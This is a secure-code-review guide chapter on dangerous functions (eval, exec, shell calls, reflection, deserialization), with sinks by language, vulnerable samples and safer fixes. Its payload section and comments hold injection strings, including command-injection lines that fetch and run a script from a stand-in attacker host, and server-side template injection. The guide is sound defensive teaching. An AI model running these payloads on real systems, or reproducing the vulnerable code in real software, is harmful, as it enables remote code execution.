4.35 Review Dangerous Functions
4.35 - Review Dangerous Functions
Dangerous functions execute strings as code, spawn shells, or load untrusted modules at runtime. Review any call to eval, dynamic compilation, reflection-based invocation, and shell execution with user-influenced arguments. Trace input from the HTTP layer to these sinks and ask whether a safer API exists.
What This Vulnerability Is
Some language and platform APIs execute arbitrary code or commands when passed a string. eval() in JavaScript and Python, Function() constructors, script engines, and shell invocation with concatenated arguments are common examples. When attacker-controlled data reaches these functions, the impact is often full code execution in the application's process context.
The unsafe assumption is that the string passed to a dangerous function is always trusted or sanitized. Even partial control—choosing a property name, a template fragment, or a file path—may be enough to escape intended behavior. Dangerous functions are review signals: they do not always mean vulnerability, but they always warrant tracing data flow and questioning necessity. This pattern relates to CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code) and CWE-78 for shell invocation.
Vulnerability Characteristics (Where to Identify Them)
| Signal | Where to look |
|---|---|
| Feature type | Formula evaluators, rule engines, admin scripting, plugin loaders, template logic |
| Dynamic execution | eval, exec, compile, Function(, setTimeout with string arguments |
| Shell invocation | subprocess with shell=True, /bin/sh -c, Runtime.exec with concatenated commands |
| Reflection | Class.forName, importlib, user-controlled method or class names at runtime |
| Plugin loading | JARs, .so files, or scripts loaded from user-upload paths |
| Template logic | Jinja2 unsafe extensions, Velocity user templates, server-side scriptlets |
| Deserialization overlap | Native object deserialization treated as dynamic instantiation (see deserialization chapter) |
Attack Payloads
Use these in authorized tests when input reaches dynamic execution or shell invocation. Syntax varies by language and sandbox—confirm the sink before relying on a single payload.
Pattern 1: Python eval on admin “formula” fields
eval("__import__('subprocess').check_output(['whoami'])")
eval("open('/etc/passwd').read()")
Pattern 1b: exec with attacker-supplied script body
exec(user_uploaded_rule_text, {"__builtins__": __builtins__})
Pattern 2: JavaScript code injection
process.mainModule.require('child_process').execSync('id')
global.process.mainModule.constructor._load('child_process').exec('id')
Function('return this')().constructor.constructor('return process')().mainModule.require('child_process').execSync('id')
Pattern 3: Shell metacharacters (when shell=True or -c)
report.pdf; curl https://attacker.example/s.sh | sh
$(whoami)
`id`
Pattern 4: Template injection (server-side)
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
${7*7} # probe for expression evaluation
Pattern 5: Reflection / dynamic class loading
className=java.lang.Runtime
module=../../../evil
plugin=attacker.jar
Pattern 6: Pickle / Java deserialization gadgets
Pickle and Java native serialization require crafted binary payloads (ysoserial, pickle gadgets)—test only in isolated lab environments with known gadget chains on the classpath.
Language-Specific Sinks and Dangerous APIs
Python
eval(user_input)
exec(code)
compile(source, "<string>", "exec")
pickle.loads(data)
yaml.load(data) # unsafe loader
subprocess.run(cmd, shell=True)
importlib.import_module(user_module)
Also review: simpleeval misconfiguration, Jinja2 Environment(autoescape=False) with user templates, ast.literal_eval on untrusted but crafted literals.
Java
scriptEngine.eval(userExpr);
Runtime.getRuntime().exec("cmd " + userInput);
ProcessBuilder("/bin/sh", "-c", userCmd);
Class.forName(className).getMethod(method).invoke(...);
ObjectInputStream.readObject();
MethodHandles.lookup().findClass(userClass);
Nashorn/GraalJS ScriptEngine, Spring SpEL parseExpression on user input, MyBatis ${} (string substitution).
C
CSharpScript.EvaluateAsync(userInput);
CodeDomProvider.CompileAssemblyFromSource(..., userCode);
Process.Start("cmd.exe", $"/c {userCmd}");
BinaryFormatter.Deserialize(stream);
Assembly.Load(userBytes);
Also review: Roslyn scripting, DataContractSerializer with known types expanded from user input.
JavaScript (Node.js)
eval(expr);
new Function('return ' + userCode)();
vm.runInNewContext(userCode); // insufficient isolation alone
child_process.exec(`cmd ${userInput}`);
setTimeout(userString, 100);
require(userPath);
Go
vm.Run(userJavaScript) // otto, goja
exec.Command("sh", "-c", userCmd)
plugin.Open(userSuppliedPath)
text/template.Execute(tmpl, userData) // when tmpl is user-controlled
Shell
eval "$user_filter"
source "$uploaded_script"
bash -c "$user_cmd"
Sample Vulnerable Code in Python
from flask import Flask, request
import pickle
app = Flask(__name__)
@app.route("/calc")
def calc():
expr = request.args.get("expr", "")
# Attacker-controlled expression executes as Python code
return str(eval(expr))
@app.route("/import", methods=["POST"])
def import_state():
# pickle.loads on request body — equivalent to arbitrary code execution
state = pickle.loads(request.get_data())
return process(state)
def run_report(cmd: str):
# shell=True with interpolated user input
subprocess.run(f"reportgen {cmd}", shell=True, check=True)
Step-by-Step Review Walkthrough
- Search dynamic execution APIs. Look for
eval,exec,compile,Function(, and string-argument timers across the codebase. - Review template engines. Inspect Jinja2
Environmentwith unsafe extensions, Velocity with user templates, and logic in client-side templates. - Inspect deserialization. Treat native object deserialization as a dangerous operation when input crosses trust boundaries.
- Trace reflection and dynamic loading. Follow
Class.forName,importlib,Assembly.Load, and plugin systems loading user-supplied artifacts. - Check shell-outs. Review
subprocesswithshell=True,/bin/sh -c, andRuntime.execwith concatenated commands. - Follow HTTP-to-sink paths. Confirm whether request parameters, file uploads, or message queue payloads reach dangerous calls.
- Question necessity. Ask whether parsing, mapping, or a sandboxed DSL can replace general code execution.
Risk Impact Analysis
Remote code execution. User input reaching eval or equivalent APIs typically grants full control within the application process.
Server compromise. Shell invocation with interpolated input may spawn arbitrary OS commands with the service account's privileges.
Lateral movement. Compromised application hosts become launch points for internal network access and credential theft.
Data exfiltration. Dynamic execution can read databases, environment variables, and cloud metadata endpoints.
Supply chain via plugins. Loading user-supplied modules extends trust to unreviewed code at runtime.
Vulnerable Examples in Other Languages
Java
public Object runUserFormula(String expr) throws ScriptException {
ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");
return engine.eval(expr); // user-controlled expression
}
public void runCommand(String filename) throws IOException {
Runtime.getRuntime().exec("convert " + filename + " output.pdf");
}
public Object importState(byte[] body) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(body));
return ois.readObject(); // native deserialization — arbitrary code execution
}
C
public object Evaluate(string userInput)
{
return CSharpScript.EvaluateAsync(userInput).Result;
}
public void RunReport(string reportId)
{
Process.Start("cmd.exe", $"/c reportgen {reportId}");
}
JavaScript
app.get('/calc', (req, res) => {
const expr = req.query.expr;
res.send(String(eval(expr))); // user-controlled expression
});
function runPlugin(userCode, payload) {
return new Function('data', userCode)(payload); // arbitrary JS execution
}
setTimeout(req.query.code, 100); // string argument treated as code
Shell
#!/bin/bash
# App shell-outs with interpolated user input
filename="$1"
convert "$filename" output.pdf # filename='file.jpg; curl attacker.com/s.sh | sh'
reportgen $REPORT_ID # REPORT_ID from HTTP param without quoting
Go
func runFilter(code string, data map[string]interface{}) interface{} {
vm := otto.New()
vm.Set("data", data)
val, _ := vm.Run(code) // user-supplied JavaScript
return val
}
func runReport(reportID string) error {
cmd := exec.Command("sh", "-c", "reportgen "+reportID)
return cmd.Run()
}
Fix: Safer Patterns and Libraries to Use
Python
Never eval user input. Parse with safe alternatives and run subprocess without a shell.
import ast
import json
import subprocess
from simpleeval import simple_eval
ALLOWED_NAMES = {"abs": abs, "min": min, "max": max}
@app.route("/calc")
def calc():
expr = request.args.get("expr", "")
# simpleeval evaluates expressions without arbitrary code execution
result = simple_eval(expr, names=ALLOWED_NAMES)
return str(result)
@app.route("/import", methods=["POST"])
def import_state():
data = json.loads(request.get_data())
state = ImportState.model_validate(data) # pydantic schema validation
return process(state)
def run_report(report_id: str):
if report_id not in ALLOWED_REPORTS:
raise ValueError("invalid report")
subprocess.run(["reportgen", report_id], shell=False, check=True)
Use ast.literal_eval only for trusted literal structures. Prefer json.loads over pickle for untrusted data.
Java
Avoid ScriptEngine on user input. Use ProcessBuilder with separate arguments.
public Object runUserFormula(String expr) {
throw new UnsupportedOperationException("User formulas disabled");
}
public void runCommand(String filename) throws IOException {
Path safe = uploadDir.resolve(Path.of(filename).getFileName()).normalize();
if (!safe.startsWith(uploadDir)) {
throw new SecurityException("invalid filename");
}
new ProcessBuilder("convert", safe.toString(), "output.pdf").start();
}
Use Jackson or Gson for data parsing, not Java serialization, on untrusted input. See ProcessBuilder.
C
If scripting is required, run in an isolated sandbox with strict assembly allowlists. Avoid unsafe deserializers.
public ImportState LoadState(string json)
{
return JsonSerializer.Deserialize<ImportState>(json)
?? throw new JsonException("Invalid payload");
}
public void RunReport(string reportId)
{
if (!AllowedReports.Contains(reportId))
throw new ArgumentException("Invalid report", nameof(reportId));
Process.Start(new ProcessStartInfo
{
FileName = "reportgen",
ArgumentList = { reportId },
UseShellExecute = false
});
}
Use System.Text.Json instead of BinaryFormatter. Pass arguments via ProcessStartInfo.ArgumentList.
Go
Avoid JavaScript interpreters on user code. Use fixed binaries with separate args.
func runReport(reportID string) error {
if !allowedReports[reportID] {
return fmt.Errorf("invalid report")
}
cmd := exec.Command("reportgen", reportID)
cmd.Env = nil
return cmd.Run()
}
Unmarshal with encoding/json into typed structs. Validate hostnames and paths with allowlists before any exec.Command.
Verify During Review
- User-controlled input does not reach
eval, equivalent dynamic execution, or unsafe deserialization APIs. - Shell commands use argument arrays and allowlists; no
shell=Trueorsh -cwith interpolated user data. - Plugin and template features use restricted DSLs or admin-only authoring with code review, not open user scripting.
- Dangerous functions in legacy modules are scheduled for removal or isolated from production routes.
- Static analysis and security tests cover known dangerous API usage in the codebase.